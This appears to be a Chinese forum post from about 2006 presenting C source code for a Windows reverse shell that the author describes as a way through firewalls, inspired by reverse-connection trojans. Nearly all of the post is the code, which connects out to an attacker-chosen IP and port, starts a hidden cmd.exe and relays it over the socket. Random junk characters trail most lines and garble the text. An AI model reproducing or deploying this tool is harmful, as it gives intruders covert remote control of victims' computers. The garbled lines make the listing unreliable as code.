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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Et(Q$/W  
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/* ============================== LT!B]y  
Rebound port in Windows NT qWKpnofa  
By wind,2006/7 v~q2D"  
===============================*/ {,*G }/9<  
#include ;nji<  
#include !EF~I8d\]  
)b"H]"  
#pragma comment(lib,"wsock32.lib") Mr<2I  
E{^*^+c"h  
void OutputShell(); B @HW@j  
SOCKET sClient; }DxXt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *rSMD_>  
:g2?)Er-  
void main(int argc,char **argv) uT8/xNB!  
{ OZ&J'Y  
WSADATA stWsaData; -LzHCO/7(  
int nRet; rK)So#'  
SOCKADDR_IN stSaiClient,stSaiServer; M A}=  
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if(argc != 3) ;{ XKZ}  
{ =`xk|86f  
printf("Useage:\n\rRebound DestIP DestPort\n"); iN0pYqY*  
return; ^)rX27!G  
} <?&GBCe  
Tc,Bv7:  
WSAStartup(MAKEWORD(2,2),&stWsaData); l^:m!SA_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 49nZWv48"_  
gZ%B9i:  
stSaiClient.sin_family = AF_INET; kwMuL>5  
stSaiClient.sin_port = htons(0); yTz@q>6s-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); } Ga@bY6  
zwN;CD1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -dsB@nPiUw  
{ 2WIL0Siwl  
printf("Bind Socket Failed!\n"); Pr{?A]dQ  
return; xYc)iH6&  
} -6;0 x  
'j !!h4  
stSaiServer.sin_family = AF_INET; sDK lbb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P_j ?V"i<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [^A.$,  
Jn +[:s.  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^ox^gw)  
{ 7e/Uc!&*  
printf("Connect Error!"); 1B+MCt4  
return; Zd1+ZH  
} /[VafR!  
OutputShell(); ! o:m*:  
} M-K<w(,X  
'C1=(PE%`  
void OutputShell() =<_xUh.  
{ Ra'0 ^4t  
char szBuff[1024]; K0@2>nR  
SECURITY_ATTRIBUTES stSecurityAttributes; eQx9 Vnb  
OSVERSIONINFO stOsversionInfo; @(JcM=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n }7DL8  
STARTUPINFO stStartupInfo; VFT G3,kI  
char *szShell; +&jWM-T"-  
PROCESS_INFORMATION stProcessInformation; R<Ojaj=V  
unsigned long lBytesRead; H;k;%Zg;  
QN9$n%Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l:a+o gm3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bESmKe(  
stSecurityAttributes.lpSecurityDescriptor = 0; )@Z J3l.  
stSecurityAttributes.bInheritHandle = TRUE; LU_@8i:  
>T%Jlj3ZG  
~cz] Rhq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Dn) =V.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &9$0v"`H  
 $Tfq9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t LdBnf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a^'1o9  
stStartupInfo.wShowWindow = SW_HIDE; $yIcut7  
stStartupInfo.hStdInput = hReadPipe; VQZ3&]o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F8;M++  
GfUIF]X  
GetVersionEx(&stOsversionInfo); g^NdN46%  
5~<> h~yJ  
switch(stOsversionInfo.dwPlatformId) )-Zpr1kD  
{ DifRpj I-0  
case 1: N;>>HN[bBP  
szShell = "command.com"; fGcAkEstT!  
break; IPbdX@FeV  
default: rFM`ne<zh  
szShell = "cmd.exe"; Cnd*%CPZ  
break; Z@nM\/vLA  
} V2ypmkn 8&  
tv+q~TFB=Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i/Q*AG>b  
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send(sClient,szMsg,77,0); [@ "H2#CQ  
while(1) ?;0=>3p*0  
{ g:q+.6va"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n>Y3hY  
if(lBytesRead) RsIEY5Q  
{ Q nDymVF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q =b.!AZy  
send(sClient,szBuff,lBytesRead,0); /_rQ>PgSZW  
} (s %T1 8  
else z tHGY  
{ &jl'1mZ  
lBytesRead=recv(sClient,szBuff,1024,0); :@wO' o  
if(lBytesRead<=0) break; QBR9BR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  V-}d-Y  
} Q`7!~qV0=  
} 1(gb-u0  
;8 JJ#ED  
return; /R''R:j  
}
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